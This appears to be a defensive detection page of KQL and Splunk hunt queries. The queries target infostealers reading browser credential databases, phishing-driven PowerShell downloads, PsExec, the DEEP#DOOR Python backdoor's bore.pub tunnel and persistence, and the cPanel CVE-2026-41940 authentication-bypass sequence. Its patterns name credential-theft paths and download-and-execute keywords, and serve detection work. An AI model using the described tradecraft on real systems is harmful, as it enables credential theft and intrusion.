from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Scheduled task created with suspicious image / encoded argsInstallationHigh
schtasks.exe /create or Microsoft-Windows-TaskScheduler EventID 4698 with LOLBin actions.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("powershell","cmd.exe","rundll32","-enc","FromBase64","\Users\Public","\AppData\")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="schtasks.exe" AND Processes.process="*/create*"
AND (Processes.process="*powershell*" OR Processes.process="*cmd.exe*"
OR Processes.process="*rundll32*" OR Processes.process="*-enc*"
OR Processes.process="*FromBase64*" OR Processes.process="*\Users\Public*"
OR Processes.process="*\AppData\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — New Python Backdoor Uses Tunneling Service to Steal Browser and Cloud CredentialExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1053.005T1547.001T1547.001
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — New Python Backdoor Uses Tunneling Service to Steal Browser and Cloud Credential
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("install_obf.bat", "svc.py"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("install_obf.bat", "svc.py"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — New Python Backdoor Uses Tunneling Service to Steal Browser and Cloud Credential ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("install_obf.bat","svc.py"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("install_obf.bat","svc.py"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] DEEP#DOOR install_obf.bat self-extracting Python via #PYTHON_START/#PYTHON_END delimitersInstallationHigh
Hunts the DEEP#DOOR dropper behaviour where install_obf.bat invokes PowerShell against its own file (%~f0) and uses regex on the literal markers '#PYTHON_START' / '#PYTHON_END' to carve the embedded svc.py payload. The marker strings, combined with self-referential file reads from a .bat parent, are unique to this framework.
Rationale: The literal strings '#PYTHON_START' / '#PYTHON_END' delimiters and the install_obf.bat filename are documented by Securonix and Infosecurity Magazine as the carving markers used by DEEP#DOOR's dropper to reconstruct svc.py — these are not present in benign tooling, giving very high fidelity.
Cross-checked against:
• https://www.securonix.com/blog/deepdoor-python-backdoor-and-credential-stealer
• https://www.infosecurity-magazine.com/news/deepdoor-python-backdoor-windows/
ATT&CKT1059.001T1059.003T1140T1027.009
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe")
| where ProcessCommandLine has_any ("#PYTHON_START","#PYTHON_END","install_obf","install_obf.bat")
or (ProcessCommandLine has "%~f0" and InitiatingProcessFileName =~ "cmd.exe" and InitiatingProcessCommandLine has ".bat")
| project Timestamp,DeviceName,AccountName,FileName,ProcessCommandLine,InitiatingProcessFileName,InitiatingProcessCommandLine,SHA256
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where Processes.process_name IN ("powershell.exe","pwsh.exe") AND (Processes.process="*PYTHON_START*" OR Processes.process="*PYTHON_END*" OR Processes.process="*install_obf*" OR (Processes.process="*%~f0*" AND Processes.parent_process_name="cmd.exe" AND Processes.parent_process="*.bat*")) by host Processes.user Processes.parent_process_name Processes.process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] DEEP#DOOR C2 over bore.pub Rust TCP tunnel from Python interpreterCommand & ControlHigh
Detects DEEP#DOOR's command-and-control channel where the extracted svc.py establishes a TCP tunnel to bore.pub (default control port 7835/tcp) via the public ekzhang/bore service. Hunts python.exe/pythonw.exe processes resolving or connecting to bore.pub, which legitimate enterprise workloads should not do.
Rationale: bore.pub and TCP port 7835 are the documented public endpoint and default control port of ekzhang/bore — Securonix names bore.pub explicitly as DEEP#DOOR's tunneling C2 and the bore GitHub abuse issue confirms ongoing malicious abuse, so any enterprise host (especially one running python.exe) reaching bore.pub is a strong signal.
Cross-checked against:
• https://www.securonix.com/blog/deepdoor-python-backdoor-and-credential-stealer
• https://github.com/ekzhang/bore
• https://github.com/ekzhang/bore/issues/150
ATT&CKT1572T1090T1102T1059.006
Data sourcesNetwork_Traffic.All_TrafficNetwork_Resolution.DNSEndpoint.Processes
let suspectHosts = DeviceNetworkEvents
| where RemoteUrl has "bore.pub" or RemotePort == 7835
| project Timestamp,DeviceId,DeviceName,InitiatingProcessFileName,InitiatingProcessCommandLine,RemoteIP,RemoteUrl,RemotePort;
let suspectDns = DeviceEvents
| where ActionType == "DnsQueryResponse" and AdditionalFields has "bore.pub"
| project Timestamp,DeviceId,DeviceName,InitiatingProcessFileName,AdditionalFields;
let suspectProc = DeviceProcessEvents
| where InitiatingProcessFileName in~ ("python.exe","pythonw.exe") or FileName in~ ("python.exe","pythonw.exe")
| where ProcessCommandLine has_any ("bore.pub","svc.py")
| project Timestamp,DeviceId,DeviceName,FileName,ProcessCommandLine,InitiatingProcessFileName,InitiatingProcessCommandLine;
union suspectHosts, suspectDns, suspectProc
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest) as dest values(All_Traffic.dest_port) as dport values(All_Traffic.app) as app from datamodel=Network_Traffic.All_Traffic where (All_Traffic.dest="bore.pub" OR All_Traffic.dest_host="bore.pub" OR All_Traffic.dest_port=7835) by host All_Traffic.user All_Traffic.process_name | `drop_dm_object_name(All_Traffic)` | append [| tstats summariesonly=true count from datamodel=Network_Resolution.DNS where DNS.query="bore.pub" OR DNS.query="*.bore.pub" by host DNS.src DNS.query | `drop_dm_object_name(DNS)`] | append [| tstats summariesonly=true count from datamodel=Endpoint.Processes where Processes.process_name IN ("python.exe","pythonw.exe") AND (Processes.process="*bore.pub*" OR Processes.process="*svc.py*") by host Processes.user Processes.process_name Processes.process | `drop_dm_object_name(Processes)`]
[LLM] DEEP#DOOR watchdog: Python process creates Startup + Run key + Scheduled Task in burstInstallationMedium
Hunts DEEP#DOOR's multi-vector persistence watchdog, which (re)creates a Startup folder script, a HKCU\...\Run key, and a scheduled task — and optionally a WMI event subscription — from the same python.exe/pythonw.exe ancestry within a short window. Single-vector persistence is common; the simultaneous trio from a Python interpreter is highly anomalous and matches the Securonix-documented behaviour.
Rationale: Securonix specifically describes a watchdog that simultaneously maintains Startup-folder script, Run key, scheduled task, and optional WMI subscription persistence; correlating all three (or four) artefacts to a python.exe/pythonw.exe ancestor in a short window is far more specific than any single-vector persistence rule and avoids the article-described re-creation race condition.
Cross-checked against:
• https://www.securonix.com/blog/deepdoor-python-backdoor-and-credential-stealer
• https://www.infosecurity-magazine.com/news/deepdoor-python-backdoor-windows/
ATT&CKT1547.001T1053.005T1546.003T1059.006
Data sourcesEndpoint.FilesystemEndpoint.RegistryEndpoint.Processes
let win = 30m;
let startup = DeviceFileEvents
| where FolderPath has "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
| where InitiatingProcessFileName in~ ("python.exe","pythonw.exe")
| project DeviceId,DeviceName,t1=Timestamp,startupFile=FileName,InitiatingProcessCommandLine;
let runkey = DeviceRegistryEvents
| where ActionType in ("RegistryValueSet","RegistryKeyCreated")
| where RegistryKey has_any ("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run","\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce")
| where InitiatingProcessFileName in~ ("python.exe","pythonw.exe")
| project DeviceId,t2=Timestamp,RegistryKey,RegistryValueName,RegistryValueData;
let sched = DeviceProcessEvents
| where (FileName =~ "schtasks.exe" and ProcessCommandLine has "/create")
or ProcessCommandLine has_any ("Register-ScheduledTask","__EventFilter","ActiveScriptEventConsumer","CommandLineEventConsumer")
| where InitiatingProcessFileName in~ ("python.exe","pythonw.exe") or InitiatingProcessParentFileName in~ ("python.exe","pythonw.exe")
| project DeviceId,t3=Timestamp,FileName,ProcessCommandLine;
startup
| join kind=inner runkey on DeviceId
| where abs(datetime_diff('second',t1,t2)) <= 1800
| join kind=inner sched on DeviceId
| where abs(datetime_diff('second',t1,t3)) <= 1800
| project DeviceName,t1,startupFile,RegistryKey,RegistryValueData,ProcessCommandLine,InitiatingProcessCommandLine
| order by t1 desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path="*\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" AND Filesystem.process_name IN ("python.exe","pythonw.exe") by host Filesystem.user Filesystem.process_name Filesystem.file_name | `drop_dm_object_name(Filesystem)` | join type=inner host [| tstats summariesonly=true count from datamodel=Endpoint.Registry where Registry.registry_path="*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run*" AND Registry.process_name IN ("python.exe","pythonw.exe") by host | `drop_dm_object_name(Registry)` | rename count as reg_count] | join type=inner host [| tstats summariesonly=true count from datamodel=Endpoint.Processes where (Processes.process_name="schtasks.exe" OR Processes.process="*Register-ScheduledTask*" OR Processes.process="*__EventFilter*") AND Processes.parent_process_name IN ("python.exe","pythonw.exe") by host | `drop_dm_object_name(Processes)` | rename count as task_count] | where firstTime>=relative_time(now(),"-1h@h")
2026-04-303 use cases1 technique4 kill-chain phases detected
The critical CVE-2026-41940 authentication bypass vulnerability in cPanel, WHM, and WP Squared is being actively exploited in the wild and has been leveraged in attempts since late February. [...]
CVEsCVE-2026-41940
ATT&CKT1021.001
Click any ATT&CK pill below to open it on the Matrix
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → [LLM] cPanel CVE-2026-41940 exploit: 401 on /login/?login_only=1 followed by direct Authorization Basic on non-login URL
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → [LLM] cPanel CVE-2026-41940 post-exploit: implanted root session file in /var/cpanel/sessions/raw/
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-41940")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-41940")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] cPanel CVE-2026-41940 exploit: 401 on /login/?login_only=1 followed by direct Authorization Basic on non-login URLExploitationHigh
Hunts the watchTowr-published exploit signature for the CRLF auth-bypass: a source IP gets a 401 on the cPanel/WHM pre-auth endpoint /login/?login_only=1 on ports 2083/2087/2095/2096, then within seconds successfully accesses a non-/login admin URL (skipping the legitimate /login form interaction). This is the article-specific pre-auth-then-pivot pattern, not a generic bruteforce.
Rationale: Uses the article+watchTowr-published heuristic verbatim: pre-auth 401 on /login/?login_only=1 followed by an authenticated request to a non-/login URL on cPanel ports 2083/2087/2095/2096, within seconds. Cross-checked against watchTowr's CVE-2026-41940 write-up (which explicitly recommends auditing cpsrvd access logs for this exact sequence) and Rapid7's ETR. Two-stage same-src/dest correlation reduces FPs from normal user mistypes (which always pass through /login/, never bypass it).
Cross-checked against:
• https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
• https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass/
• https://socprime.com/blog/cve-2026-41940-critical-cpanel-whm-authentication-bypass-exposes-hosting-servers-to-admin-takeover/
• https://www.helpnetsecurity.com/2026/04/30/cpanel-zero-day-vulnerability-cve-2026-41940-exploited/
ATT&CKT1190T1556T1078.003
Data sourcesWeb
// Defender for Endpoint on Linux cPanel hosts: surface external sources hitting cPanel/WHM admin ports during the watchTowr exposure window (2026-02-23 onward)
let cpanel_ports = dynamic([2083,2087,2095,2096]);
DeviceNetworkEvents
| where Timestamp >= datetime(2026-02-23)
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted","ConnectionInbound")
| where LocalPort in (cpanel_ports)
| where RemoteIPType !in ("Private","Loopback","Reserved")
| summarize ConnCount=count(), FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Ports=make_set(LocalPort), Hosts=make_set(DeviceName) by RemoteIP
| join kind=inner (
DeviceFileEvents
| where Timestamp >= datetime(2026-02-23)
| where FolderPath startswith "/var/cpanel/sessions/raw/"
| where ActionType in ("FileCreated","FileModified")
| summarize SessionWrites=count(), FileFirst=min(Timestamp) by DeviceName
) on $left.Hosts has $right.DeviceName
| where FileFirst between (FirstSeen .. (LastSeen + 5m))
| project FirstSeen, LastSeen, RemoteIP, Hosts, Ports, ConnCount, SessionWrites, FileFirst
| tstats `summariesonly` count min(_time) as preauth_time values(Web.url) as preauth_urls values(Web.status) as preauth_status from datamodel=Web where Web.dest_port IN (2083,2087,2095,2096) Web.status=401 (Web.url="*/login/?login_only=1*" OR Web.uri_path="/login/" OR Web.uri_query="login_only=1") by Web.src Web.dest | `drop_dm_object_name(Web)` | join type=inner src dest [ | tstats `summariesonly` count as bypass_count min(_time) as bypass_time values(Web.url) as bypass_urls values(Web.http_method) as bypass_methods values(Web.uri_path) as bypass_paths from datamodel=Web where Web.dest_port IN (2083,2087,2095,2096) Web.status IN (200,302) NOT (Web.uri_path="/login/" OR Web.uri_path="/logout/" OR Web.url="*/login*" OR Web.url="*/logout*") by Web.src Web.dest | `drop_dm_object_name(Web)` ] | eval delta=bypass_time-preauth_time | where delta>=0 AND delta<=60 | search bypass_urls!="/" | `security_content_ctime(preauth_time)` | `security_content_ctime(bypass_time)` | table preauth_time bypass_time src dest preauth_urls preauth_status bypass_urls bypass_methods bypass_count delta | sort -delta
[LLM] cPanel CVE-2026-41940 post-exploit: implanted root session file in /var/cpanel/sessions/raw/InstallationHigh
Hunts forensic artifacts of a successful CRLF-injected session implant: file creation/modification events under /var/cpanel/sessions/raw/ co-occurring with cpsrvd spawning unusual children (shell, perl, wget, curl, useradd) shortly after — the post-exploit fingerprint described by cPanel's and watchTowr's detection scripts. Pivot to file content (user=root, hasroot=1, tfa_verified=1, multiple pass= lines, token_denied + cp_security_token) using the vendor's detection script.
